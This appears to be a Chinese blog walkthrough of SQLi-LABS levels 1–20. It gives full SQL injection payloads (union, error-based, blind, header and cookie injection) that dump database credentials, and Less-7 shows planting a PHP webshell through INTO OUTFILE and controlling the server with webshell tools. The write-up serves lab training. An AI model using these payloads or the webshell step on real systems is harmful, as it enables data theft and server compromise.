SQLi-LABS(Basic Injections)

目录

Less-1(GET - Error based - Single quotes - String)

判断回显类型

确定回显位置

回显获取数据

Less-2(GET - Error based - Intiger based)

判断注入类型

确定回显位置

回显获取数据

Less-3(GET - Error based - Single quotes with twist - string)

判断注入类型

使用报错回显数据

Less-4(GET - Error based - Double Quotes - String)

判断注入类型和确定注入闭合方式

确定回显位置

回显获取数据

Less-5(GET - Double Injection - Single Quotes - String)

判断注入型

报错回显数据

Less-6(GET - Double Injection - Double Quotes -String)

判断注入型

报错方式回显数据

Less-7(GET - Dump into outfile - String)

判断注入型和闭合方式

Burp Suite爆破数据(行不通)

使用盲注爆破脚本爆破数据

木马植入直接读取数据

判断回显数

向服务器文件中写入木马

使用工具连接木马

补充:权限设置

Less-8(GET - Blind - Boolian Based - Single Quotes)

判断注入型

Burp Suite爆破数据

Less-9(GET - Blind - Time based, - Single Quotes)

确定注入方法和闭合符号

注意:时间盲注要求

使用BP抓包爆破数据

使用盲注爆破脚本进行时间盲注

Less-10(GET - Blind - Time based - double quotes)

确定注入方式和闭合方式

使用盲注爆破脚本爆破数据

Less-11(POST - Error Based - Single quotes - String)

查看传参形式和判断注入型

确定回显位置

注入回显获取数据

Less-12(POST - Error Based - Double quotes - String - with twist)

确定传值方式和注入型

判断回显位置

回显数据

Less-13(POST - Double Injection - Single quotes - String - with twist)

确定注入型和闭合符

判断回显位置

报错回显数据

Less-14(POST - Double Injection - Single quotes - String - with twist)

确定注入方式

判断回显位置

使用报错回显数据

Less-15(POST - Blind - Boolian/time Based - Single quotes)

判断注入型

获取响应包大小

使用盲注爆破脚本爆破数据

Less-16(POST - Blind - Boolian/Time Based - Double quotes)

判断注入型和闭合符

BP抓包获取响应包大小

盲注爆破脚本获取数据

Less-17(POST - Update Query - Error Based - String)

判断注入点

使用报错注入取数据

Less-18(POST - Header Injection - Uagent field - Error based)

确定注入点

 判断传参个数

使用报错注入回显数据

Less-19(POST - Header Injection - Referer field - Error based)

确定注入点和传值个数

使用报错方式回显数据

Less-20(POST - Cookie injections - Uagent field - error based)

判断注入点和注入型

直接注入回显数据


说明:以取得用户名和密码为通关。

Less-1(GET - Error based - Single quotes - String)

判断回显类型

根据题目提示使用id传值,注入?id=1查看回显。

在上面基础上注入一个和多个单号根据回显不同(奇数时为错误页面,偶数时为正常页面),判断为单引号字符型注入。

确定回显位置

注入?id=1'order by n--+判断最大回显个数。n取1~4,当n为1~3时页面正常,为4时报错(第4列未知),确定最大回显数为3。

注入?id='union select 1,2,3--+确定回显位置为2和3。

回显获取数据

注入?id='union select 1,database(),3--+回显出数据库为security。

注入?id='union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+回显出表为emails、referers、uagents、users。

注入?id='union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' )--+回显出users表的字段为id、username、password。(注意:由于当前数据库可能不是security,所以加上指定数据库条件。)

注入?id='union select 1,2,(select group_concat(username,0x7e,password) from users)--+回显出用户名和密码(每组中间使用~隔开)为Dumb~Dumb、Angelina~I-kill-you、Dummy~p@ssword、secure~crappy、stupid~stupidity、superman~genious、batman~mob!le、admin~admin、admin1~admin1、admin2~admin2、admin3~admin3、dhakkan~dumbo、admin4~admin4。

Less-2(GET - Error based - Intiger based)

判断注入类型

以id为参注入1/1和1/0页面显示不同,判定为数字型注入。

确定回显位置

注入?id=1 order by n--+判断最多存在几个回显位;n为1~3时页面正常,为4时页面报错无第4列;判断最多存在4个回显。

注入?id=-1 union select 1,2,3--+确定回显位置为2和3。

回显获取数据

注入?id=-1 union select 1,2,database()--+回显数据库为security。

注入?id=-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+回显出表emails、referers、uagents、users。

注入?id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')--+回显users表字段为id、username、password。

注入?id=-1 union select 1,2,(select group_concat(username,0x7e,password) from users)--+回显用户名和密码为Dumb~Dumb、Angelina~I-kill-you、Dummy~p@ssword、secure~crappy、stupid~stupidity、superman~genious、batman~mob!le、admin~admin、admin1~admin1、admin2~admin2、admin3~admin3、dhakkan~dumbo、admin4~admin4。

Less-3(GET - Error based - Single quotes with twist - string)

判断注入类型

以id为参注入一个或多个单引号,当为奇数时报错,偶数时正常,确定为字符型注入。

使用报错回显数据

注入?id=1'order by 1--+出现报错,尝试注入?id='and updatexml(1,concat(0x7e,database(),0x7e),1)='回显出数据库为security,同时确定为报错型注入。

注入?id='and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)='回显出表emails、referers、uagents、users。

注入?id='and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)='回显users表字段为id、username、password。

注入?id='and updatexml(1,concat(0x7e,(select group_concat(username,0x20,password) from users),0x7e),1)='回显出部分用户名和密码(每组用空格隔开)。(原因:updatexml一次最多显示32个字符。)

注入?id='and updatexml(1,concat(0x7e,mid((select group_concat(username,0x20,password) from users),n,31),0x7e),1)='回显剩余部分用户名和密码。n取32、63、94、125、156、187。(注意:当最后字符为~表示全部截取完毕,否则依次加31继续截取。)

Less-4(GET - Error based - Double Quotes - String)

判断注入类型和确定注入闭合方式

以id为参注入一个或多个双引号,为奇数时报错,为偶数时正常,判断为双引号字符型注入。

确定回显位置

注入?id=1")order by n--+判断回显数,n取1~4,n为1~3时页面正常,4时报出没有第4列。
由于注入一个双引号时报错内容中闭合方式中存在一个右括号,则绕过时需要加上右括号。

注入?id=")union select 1,2,3--+判断回显位置为2和3。

回显获取数据

注入?id=")union select 1,2,database()--+回显出数据库为security。

注入?id=")union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+回显出表emails、referers、uagents、users。

注入?id=")union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')--+回显users表字段。

注入?id=")union select 1,2,(select group_concat(username,0x7e,password) from users)--+回显出用户名和密码Dumb~Dumb、Angelina~I-kill-you、Dummy~p@ssword、secure~crappy、stupid~stupidity、superman~genious、batman~mob!le、admin~admin、admin1~admin1、admin2~admin2、admin3~admin3、dhakkan~dumbo、admin4~admin4。

Less-5(GET - Double Injection - Single Quotes - String)

判断注入型

以id为参注入一个或多个单引号,奇数时报错,偶数时正常。确定为字符型注入。

报错回显数据

观察页面可以推断没有回显位置,直接使用报错注入。注入?id='and updatexml(1,concat(0x7e,database(),0x7e),1)--+回显出数据库为security。

注入?id='and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+回显出表emails、referers、uagents、users。

注入?id='and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+回显出users表字段id、username、password。

注入?id='and updatexml(1,concat(0x7e,(select group_concat(username,0x20,password) from users),0x7e),1)--+回显出部分用户名和密码。

注入?id='and updatexml(1,concat(0x7e,mid((select group_concat(username,0x20,password) from users),n,31),0x7e),1)--+回显剩余部分用户名和密码。(n取32、63、94、125、156、187)

Less-6(GET - Double Injection - Double Quotes -String)

判断注入型

以id为参注入一个或多个双引号,为奇数时报错,为偶数时正常。又根据页面没回显信息,确定为类型为双引号字符报错型注入。

报错方式回显数据

注入?id="and updatexml(1,concat(0x7e,database(),0x7e),1)--+回显数据库为security。

注入?id="and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+回显出表为emails、referers、uagents、users。

注入?id="and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+回显users表字段id、username、password。

注入?id="and updatexml(1,concat(0x7e,mid((select group_concat(username,0x20,password) from users),n,31),0x7e),1)--+回显出用户名和密码。(n取1、32、63、94、125、156、187)

Less-7(GET - Dump into outfile - String)

判断注入型和闭合方式

以id为参注入一个或多个单引号,为奇数时报错,为偶数时正常;判断为字符型注入。

注入?id=1'order by 1--+发现回显报错,尝试注入?id=1'))order by 1--+回显正常;确定回显闭合方式是'))。

Burp Suite爆破数据(行不通)

由于没有回显位置,但正常和报错有不同页面,则可以通过布尔盲注进行爆破数据。
注入?id=1'))and+if(1=1,1,0)--+和?id=1'))and+if(1=2,1,0)--+并使用Burp Suite抓包,尝试使用转发模块发送数据,发现两个应答数据长度一样,这样就无法使用Burp Suite进行盲注爆破。

使用盲注爆破脚本爆破数据

因为脚本是根据数据内容进行判断的,所以不存在Burp Suite中判断不出来。
注入?id=1'))and if(ascii(mid(database(),%d,1))=%d,1,0)--+爆破出数据库为security。

注入?id=1'))and if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1))=%d,1,0)--+爆破出所有表emails、referers、uagents、users。

注入?id=1'))and if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),%d,1))=%d,1,0)--+爆破出users表字段id、username、password。

注入?id=1'))and if(ascii(mid((select group_concat(username,0x7e,password) from users),%d,1))=%d,1,0)--+爆破出用户名和密码。

木马植入直接读取数据

判断回显数

注入?id=1'))order by n--+判断回显数,n取1~4,1~3时正常回显,4时报错;确定最大回显数为3。

向服务器文件中写入木马

根据提示(Use outfile),注入?id='))union select 1,2,3 into outfile 'C:/14.txt'--+将1,2,3写入C盘14.txt文件中。这里的C盘是服务器C盘。(注意:页面报错可以忽略。)

通过注入?id='))union select 1,2,database() into outfile 'C:/14.txt'--+可以在服务器上获得数据库名,但没什么用,因为一般情况下无法读取服务器文件。

注入?id='))union select 1,2,'' into outfile 'C:/phpstudy/PHPTutorial/WWW/sqli/Less-7/14.php'--+将一句话木马写入服务器。
分析:$_REQUEST接收GET或POST提交的数据,数据名为14。

使用工具连接木马

利用蚁剑连接木马控制服务器。

右键数据操作,添加填写密码可以获取所有数据库。

 

弊端:可能无法知道服务器的www目录和数据库密码,也就无法得到数据库。
利用中国菜刀连接木马控制服务器,无法直接连接到数据库,但可以通过文件管理找到数据库文件目录。

补充:权限设置

要想将数据写入服务器,必须先将服务器中MySQL下的bin目录中my.ini添加secure_file_priv=""。
解释:当secure_file_priv=""表示服务器任何位置都能写入,secure_file_priv=NULL表示不能写入,secure_file_priv=目录表示只能在该目录下写入。
查看secure_file_priv权限命令:show variables like '%secure%';

Less-8(GET - Blind - Boolian Based - Single Quotes)

判断注入型

以id为参注入一个或多个单引号,奇数时页面无显示(报错),偶数时正常回显,判定为字符注入。

Burp Suite爆破数据

由于页面没有回显,则只能通过爆破形式获得数据。
使用Burp Suite抓包并注入?id=1'and+if(length(database())=n,1,0)--+爆破出数据库长度为8。

 

注入?id=1'and+if(mid(database(),n,1)='c',1,0)--+爆出数据库为security。

 

注入?id=1'and+if(length((select+group_concat(table_name)+from+information_schema.tables+where+table_schema='security'))=n,1,0)--+爆总表长度为29。

 

注入?id=1'and+if(mid((select+group_concat(table_name)+from+information_schema.tables+where+table_schema='security'),n,1)='c',1,0)--+爆出总表emails、referers、uagents、users。

  

注入?id=1'and+if(length((select+group_concat(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='users'))=n,1,0)--+爆出users表字段长为20。

 

注入?id=1'and+if(mid((select+group_concat(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='users'),n,1)='c',1,0)--+爆出users字段为id、username、password。

  

注入?id=1'and+if(length((select+group_concat(username,0x7e,password)+from+users))=n,1,0)--+爆出用户名和密码长度为188。

 

注入?id=1'and+if(mid((select+group_concat(username,0x7e,password)+from+users),n,1)='c',1,0)--+爆出用户名和密码都有两个,不符合规定。

  

将上面的注入语句改为?id=1'and+if(ascii(mid((select+group_concat(username,0x7e,password)+from+users),n,1))=ascii('c'),1,0)--+爆出用户名和密码。(绕过大小写导致的冲突)

 

 

 

Less-9(GET - Blind - Time based, - Single Quotes)

确定注入方法和闭合符号

注入任意字符(串)都是一个页面,则只能使用时间盲注获取数据。
尝试注入1'and sleep(5)--+通过页面响应时间判断出闭合方式为'。

注意:时间盲注要求

更改最大线程数为1,防止响应时间上的冲突。

添加响应时间排序,便于观看爆破结果。

使用BP抓包爆破数据

先使用BP捕获一个数据包,再注入?id=1'and+if(length(database())=n,sleep(3),0)--+爆破出数据库长度为8。

 

注入?id=1'and+if(mid(database(),n,1)='c',sleep(3),0)--+爆出结果每组有两种可能,不符合要求。

 

将字符转成ascii形式绕过大小写矛盾可以爆破出数据,但过于复杂,且爆破后数据被打乱,不便于排序。

使用盲注爆破脚本进行时间盲注

相比较与BP,脚本可以进行排序,即爆破后就是完整数据形式。
注入语句使用?id=1'and+if(ascii(mid(database(),%d,1))=%d,sleep(3),0)--+爆破出数据库名为security。

注入?id=1'and if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1))=%d,sleep(3),0)--+爆出表为emails、referers、uagents、users。

注入?id=1'and if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),%d,1))=%d,sleep(3),0)--+爆出users表字段为id、username、password。

注入?id=1'and if(ascii(mid((select group_concat(username,0x7e,password) from users),%d,1))=%d,sleep(3),0)--+爆出用户名和密码。

Less-10(GET - Blind - Time based - double quotes)

确定注入方式和闭合方式

注入任何字符(串)页面没有变化,只能使用时间盲注获取数据。
尝试注入1"and sleep(5)--+通过返回时长判断闭合符为"。

使用盲注爆破脚本爆破数据

注入?id=1"and if(ascii(mid(database(),%d,1))=%d,sleep(3),0)--+爆破出数据库security。

注入?id=1"and if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1))=%d,sleep(3),0)--+爆出表emails、referers、uagents、users。

注入?id=1"and if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),%d,1))=%d,sleep(3),0)--+爆出users表字段id、username、password。

注入?id=1"and if(ascii(mid((select group_concat(username,0x7e,password) from users),%d,1))=%d,sleep(3),0)--+爆出用户名和密码。

Less-11(POST - Error Based - Single quotes - String)

查看传参形式和判断注入型

输入任意用户名和密码,查看F12控制台下网络确定是POST传值,参数分别是uname、passwd、submit。

使用POST方式注入一个或多个单引号,为奇数时报错,为偶数时没显示;判断为字符注入。

确定回显位置

注入'order by n#判断最大回显数。n取1~3,当n为1和2时页面不报错,3则报错(第3列未知)。

注入'union select 1,2#确定回显位置为1和2。

注入回显获取数据

注入'union select 1,database()#回显出数据库为security。

注入'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security')#回显出表emails、referers、uagents、users。

注入'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')#回显出users表的字段id、username、password。

注入'union select 1,(select group_concat(username,0x7e,password) from users)#回显出用户名和密码。

Less-12(POST - Error Based - Double quotes - String - with twist)

确定传值方式和注入型

输入任意用户名和密码,F12网络查看传值方式为POST。

注入一个或多个双引号,当为奇数时报错,偶数时正常;确定是字符型注入。根据报错内容确定闭合符为")。

判断回显位置

注入")order by n#判断出最大回显数为2。(n取1~3)

注入")union select 1,2#确定回显位置为1和2。

回显数据

注入")union select 1,database()#回显出数据库security。

注入")union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security')#回显出表emails、referers、uagents、users。

注入")union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')#回显出users表字段id、username、password。

注入")union select 1,(select group_concat(username,0x7e,password) from users)#回显用户名和密码。

Less-13(POST - Double Injection - Single quotes - String - with twist)

确定注入型和闭合符

输入任意用户名和密码,F12网络下查看传参方式和个数。

注入一个或多个单引号,为奇数时报错,为偶数时正常;再根据报错内容确定闭合方式为')。

判断回显位置

注入')order by n#判断回显数为2。(n取1~3)

注入')union select 1,2#没有出现回显位置。

报错回显数据

由于没有回显位置但有报错信息,则注入')and updatexml(1,concat(0x7e,database(),0x7e),1)#报出数据库security。

注入')and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#报出表emails、referers、uagents、users。

注入')and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#报出users表字段id、username、password。

注入')and updatexml(1,concat(0x7e,mid((select group_concat(username,0x20,password) from users),n,31),0x7e),1)#报出部分用户名和密码。(n取1、32、63、94、125、156、187)

Less-14(POST - Double Injection - Single quotes - String - with twist)

确定注入方式

输入任意用户名和密码,F12查看传参形式为POST传参。

注入一个或多个双引号,奇数时报错,偶数时正常;初步认为是字符注入。

判断回显位置

注入"order by n#测试回显数为2,n取1~3。

注入"union select 1,2#发现没有回显位置。

使用报错回显数据

由于没有回显位置,则只能使用报错注入;注入"and updatexml(1,concat(0x7e,database(),0x7e),1)#报出数据库security。

注入"and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#回显表为emails、referers、uagents、users。

注入"and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#报出users表字段id、username、password。

注入"and updatexml(1,concat(0x7e,mid((select group_concat(username,0x7e,password) from users),n,31),0x7e),1)#回显用户名和密码。(n取1、32、63、94、125、156、187)

Less-15(POST - Blind - Boolian/time Based - Single quotes)

判断注入型

输入任意用户名和密码后F12查看传值方式为POST。
注入单引号、双引号、1/1、1/0页面都没有变化。注入'or 1=1#永真式查看是否有回显,发现图标有变化,确定注入方法为布尔盲注。

获取响应包大小

由于页面中成功与失败显示时没有文本显示,所以脚本只能通过包大小判断。
使用BP捕获数据包并注入'or+1=1#重新发送,查看到包大小为1492。

注入'or+1=2#重新发包,验证失败与成功返回的包大小不相等。

使用盲注爆破脚本爆破数据

注入{"uname":"'or if(ascii(mid(database(),%d,1))=%d,1,0)#","passwd":"","submit":"Submit"}爆破数据库security。

注入{"uname":"'or if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1))=%d,1,0)#","passwd":"","submit":"Submit"}爆破表。

注入{"uname":"'or if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),%d,1))=%d,1,0)#","passwd":"","submit":"Submit"}爆破users表字段。

注入{"uname":"'or if(ascii(mid((select group_concat(username,0x7e,password) from users),%d,1))=%d,1,0)#","passwd":"","submit":"Submit"}爆破出用户名和密码。

Less-16(POST - Blind - Boolian/Time Based - Double quotes)

判断注入型和闭合符

输入任意用户名和密码后F12查看传值方式为POST。
注入单引号、双引号、1/1、1/0页面没有变化,注入")or 1=1#页面图标变化;确定闭合符为")。

BP抓包获取响应包大小

由于页面没有回显位,则只能使用盲注。
使用BP抓包后注入")or+1=1#并发送请求,从响应包中得到包长度。

盲注爆破脚本获取数据

注入{"uname":"")or if(ascii(mid(database(),%d,1))=%d,1,0)#","passwd":"","subimt":"Submit"}爆出数据库security。

注入{"uname":"")or if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1))=%d,1,0)#","passwd":"","submit":"Submit"}爆出表emails、referers、uagents、users。

注入{"uname":"")or if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),%d,1))=%d,1,0)#","passwd":"","submit":"Submit"}爆出users表字段。

注入{"uname":"")or if(ascii(mid((select group_concat(username,0x7e,password) from users),%d,1))=%d,1,0)#","passwd":"","submit":"Submit"}爆出用户名和密码。

Less-17(POST - Update Query - Error Based - String)

判断注入点

输入任意用户名和密码,F12查看传值方式为POST。

在uname参数位置进行注入,发现无论任何字符页面都没有变化。猜测注入点不在uname参数位置。
使用BP爆破用户名和密码,得到用户000000有效;密码是无效的,根据页面提示本题机制是密码更新。即根据用户名对密码进行更新。

  

尝试使用passwd参数为进行注入,注入一个或多个单引号,奇数时报错,偶数时正常。

使用报错注入取数据

由于没有回显位置,则可以使用报错注入获得数据。注入'and updatexml(1,concat(0x7e,database(),0x7e),1)#报出数据库security。

注入'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#报出表emails、referers、uagents、users。

注入'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#报出uses表字段id、username、password。

由于报错信息都源自于users本身,则在子查询中无法查询本表数据,即无法获取用户名和密码。

Less-18(POST - Header Injection - Uagent field - Error based)

确定注入点

输入任意用户名和密码,F12查看网络确定是POST传值方式。
在uname和passwd参数位置注入单引号、双引号、1/1、1/0等,页面都没有变化。使用BP进行用户名和密码爆破,得到一组有效信息。

 

根据观察回显信息确定是User-Agent值;尝试在User-Agent位置注入一个或多个单引号,奇数时回显注入值并报错,偶数时回显注入值。

 判断传参个数

注入一个单引号根据报错内容判断后面还有两个参数;且最后闭合符为)。(参数之间使用,分隔)

注入',1,1)#发现页面正常,确定注入参数为3个。

使用报错注入回显数据

由于页面存在报错提示,则可以使用报错注入回显数据;注入'and updatexml(1,concat(0x7e,database(),0x7e),1),1,1)#回显数据库security。

注入'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1),1,1)#回显表emails、referers、uagents、users。

注入'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1),1,1)#回显users表字段id、username、password。

注入'and updatexml(1,concat(0x7e,mid((select group_concat(username,0x20,password) from users),n,31),0x7e),1),1,1)#回显用户名和密码。(n取1、32、63、94、125、156、187)

Less-19(POST - Header Injection - Referer field - Error based)

确定注入点和传值个数

输入任意用户名和密码,并使用BP抓包;再使用爆破方法爆破出一组有效用户名和密码(000000/000000)。
传入有效地用户名和密码,得到一行回显,且对应于Referer值,推测Referer为注入点。

在注入点Referer中注入一个单引号,页面回显报错。

根据报错的信息可以知道闭合符末尾是)。注入')#报错提示列数不匹配(传值点不只有一个)。

注入',1)#页面正常回显,推断传值位置数为2个。

使用报错方式回显数据

由于没有直接的回显位置,但可以通过报错方式回显信息;则注入'and updatexml(1,concat(0x7e,database(),0x7e),1),1)#回显出数据库为security。

注入'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1),1)#回显表emails、referers、uagents、users。

注入'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1),1)#回显users表字段id、username、password。

注入'and updatexml(1,concat(0x7e,mid((select group_concat(username,0x20,password) from users),n,31),0x7e),1),1)#回显用户名和密码。(n取1、32、63、94、125、156、187)

Less-20(POST - Cookie injections - Uagent field - error based)

判断注入点和注入型

输入任意用户名和密码,并使用BP进行抓包爆破出一组有效地用户名和密码(000000/000000)。

 

根据页面中的提示,猜测注入点是Cookie。
在页面中输入有效的一组用户名和密码,同时BP进行抓包;再通过BP放包找到具有Cookie的数据包。

在Cookie中注入一个单引号,页面出现报错。

注入'or+1=1#永真式查看页面回显。

注入'order+by+n#判断回显数为3。(n取1~4)

注入'union+select+1,2,3#判断回显位置为1、2、3。

直接注入回显数据

注入'union+select+database(),2,3#回显出数据库为security。

注入'union+select+(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='security'),2,3#回显表为emails、referers、uagents、users。

注入'union+select+(select+group_concat(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='users'),2,3#回显出users表字段id、username、password。

注入'union+select+(select+group_concat(username,0x7e,password)+from+users),2,3#回显用户名和密码。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值